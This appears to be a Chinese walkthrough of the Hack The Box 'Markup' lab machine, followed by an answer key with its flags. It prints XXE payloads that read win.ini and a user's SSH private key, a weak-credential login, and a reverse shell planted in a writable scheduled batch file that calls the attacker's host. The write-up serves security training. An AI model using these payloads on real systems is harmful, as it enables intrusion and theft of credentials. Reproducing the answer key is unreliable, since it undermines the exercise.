文章目录
- [一 Markup测试过程](#一 Markup测试过程)
-
- [1.1 打点](#1.1 打点)
- [1.2 权限获取](#1.2 权限获取)
- [1.3 权限升级](#1.3 权限升级)
- [二 题目](#二 题目)
一 Markup测试过程
1.1 打点
** 1.端口扫描**
c
nmap -A -Pn -sC 10.129.95.192
![](https://file.jishuzhan.net/article/1725376907274358786/504660add990f538e5ed4ff9832ed491.webp)
** 2.访问web网站,登录口爆破发现存在弱口令admin:password
**
** 3.抓包,发现请求体是XML格式
**
![](https://file.jishuzhan.net/article/1725376907274358786/cd55d2aedee7de4cfe0f24534caea551.webp)
** 4.尝试使用XXE漏洞file协议读取文件**
xml
<?xml version = "1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<item>&xxe;</item>
![](https://file.jishuzhan.net/article/1725376907274358786/d572594382f03be6a5f7b7882cc6f866.webp)
1.2 权限获取
** 1.在网页源代码中,发现存在用户名 Daniel
**
![](https://file.jishuzhan.net/article/1725376907274358786/2c1f2bd6b87ebf045efc1150b7d5a07a.webp)
** 2.假定 Daniel 是真实存在的用户,尝试检索Daniel用户的ssh私钥
**
xml
<?xml version = "1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///c:/users/daniel/.ssh/id_rsa" >]>
<item>&xxe;</item>
![](https://file.jishuzhan.net/article/1725376907274358786/ff8dadbfe71946f41d55845c7d98e9b0.webp)
** 3.获取到RSA私钥,接下来就使用RSA私钥尝试登录**
bash
# 将XXE漏洞获取到的ssh 私钥复制进id_rsa中,并赋400权限
vi id_rsa
chmod 400 id_rsa
ssh -i id_rsa Daniel@10.129.95.192
![](https://file.jishuzhan.net/article/1725376907274358786/afc071281a820bb2862d86e3bb3bf687.webp)
![](https://file.jishuzhan.net/article/1725376907274358786/0af35b595311a21a7d2376de069653a9.webp)
1.3 权限升级
** 1.查看当前用户的安全特权**
bash
whoami /priv
** daniel用户拥有
SeChangeNotifyPrivilege
和SeIncreaseWorkingSetPrivilege
权限,暂无可利用点。**
![](https://file.jishuzhan.net/article/1725376907274358786/d9e2900eaa16e6c449659bd6e34a281d.webp)
** 2.查看是否存在敏感文件**
** 在Log-Management文件夹下发现
job.bat
文件**
![](https://file.jishuzhan.net/article/1725376907274358786/d6a6ec447bdc8b4e7c22ac14c8412030.webp)
cd Log-Management
dir
type job.bat
**
job.bat
主要用来清除日志,并且必须是管理员用户才可以执行。并且有一个wevtutil.exe
可执行文件。**
![](https://file.jishuzhan.net/article/1725376907274358786/39e46302fc839d7898b81df242e76a6c.webp)
bash
# icacls命令,可以对特定文件或文件夹设置访问权限、修改权限、查看权限等操作
icacls job.bat
** 但是job.bat只能由管理员用户执行,目前是Daniel用户权限,无法利用。
那用户组是否对 job.bat 有其他的操作权限。
从输出可以看出,组BUTLTIN\Users 对 bat.job 文件具有完全控制权限,BUILTIN\Users 组表示所有本地用户,肯定也就包含 Daniel 用户。所以只要能操控bat.job就可以运行我门的反弹shell。**
![](https://file.jishuzhan.net/article/1725376907274358786/9a2826000da1ec106f44eed917334db6.webp)
** 3.检查job.bat文件中提到的wevtutil进程是否正在运行**
** 在job.bat中,wevtutil.exe进程是作为计划任务定期去检索相关信息并执行操作。如何wevtutil.exe进程正在运行的话,我门就可以利用job.bat进行计划任务反弹shell了。**
bash
schtasks
![](https://file.jishuzhan.net/article/1725376907274358786/8420b1e40cca812eacbf7fd473b9b4d7.webp)
![](https://file.jishuzhan.net/article/1725376907274358786/e18d2c72e5938dc6190985ad71f28fc6.webp)
** 4.将nc.exe上传到\Log-Management目录**
bash
# 攻击机器开启httpweb
python3 -m http.server 8080
bash
wget http://10.10.14.35:8080/nc64.exe -outfile nc64.exe
dir
![](https://file.jishuzhan.net/article/1725376907274358786/2131955cc2ab87f7a2c8e3226f3af69c.webp)
** 5.执行反弹shell**
bash
# 攻击机执行监听
ncat -lnvp 4444
** 我们对该二进制文件job.bat具有完全访问权限,这意味着我们可以修改job.bat文件并插入任何我们构造好的payload。我们可以使用nc64.exe,借此更改.bat文件以生成一个反向shell。**
bash
echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.14.35 4444 > C:\Log-Management\job.bat
![](https://file.jishuzhan.net/article/1725376907274358786/6679640cb8e96b8a92810d62535396c1.webp)
![](https://file.jishuzhan.net/article/1725376907274358786/b85fcacc94e9aa16a7f1d22cf7d1f304.webp)
** 6.查看root flag**
![](https://file.jishuzhan.net/article/1725376907274358786/bba753c0b8e7d5093433206ebec66446.webp)
二 题目
++Tags
++
c
Web、Injection、Apache、SSH、PHP、Reconnaissance、Scheduled Job Abuse、Weak Credentials、Arbitrary File Upload、XXE Injection、Weak Permissions
译文:Web、注入、Apache、SSH、PHP、侦察、计划任务滥用、弱凭据、任意文件上传、XXE注入、弱权限
++Connect
++
c
To attack the target machine, you must be on the same network.Connect to the Starting Point VPN using one of the following options.
It may take a minute for HTB to recognize your connection.If you don't see an update after 2-3 minutes, refresh the page.
译文:要攻击目标机器,您必须位于同一网络上。使用以下选项之一连接到起点 VPN。
HTB 可能需要一分钟才能识别您的连接。如果 2-3 分钟后没有看到更新,请刷新页面。
++SPAWN MACHINE
++
c
Spawn the target machine and the IP will show here.
译文:生成目标机器,IP 将显示在此处
++TASK 1
++
c
What version of Apache is running on the target's port 80?
译文:目标 80 端口上运行的Apache哪个版本?
答:2.4.41
++TASK 2
++
c
What username:password combination logs in successfully?
译文:什么用户名:密码组合登录成功?
答:admin:password
++TASK 3
++
c
What is the word at the top of the page that accepts user input?
译文:页面顶部接受用户输入的单词是什么?
答:order
++TASK 4
++
c
What XML version is used on the target?
译文:目标使用什么 XML 版本?
答:1.0
++TASK 5
++
c
What does the XXE / XEE attack acronym stand for?
译文:XXE / XEE攻击首字母缩略词代表什么?
答:XML External Entity
++TASK 6
++
c
What username can we find on the webpage's HTML code?
译文:我们可以在网页的 HTML 代码上找到什么用户名?
答:daniel
++TASK 7
++
c
What is the file located in the Log-Management folder on the target?
译文:目标上的 Log-Management 文件夹中的文件是什么?
答:job.bat
++TASK 8
++
c
What executable is mentioned in the file mentioned before?
译文:前面提到的文件中提到了什么可执行文件?
答:wevtutil.exe
++SUBMIT FLAG
++
c
Submit user flag
译文:用户flag
答:032d2fc8952a8c24e39c8f0ee9918ef7
++SUBMIT FLAG
++
c
Submit root flag
译文:提交root flag
答:f574a3e7650cebd8c39784299cb570f8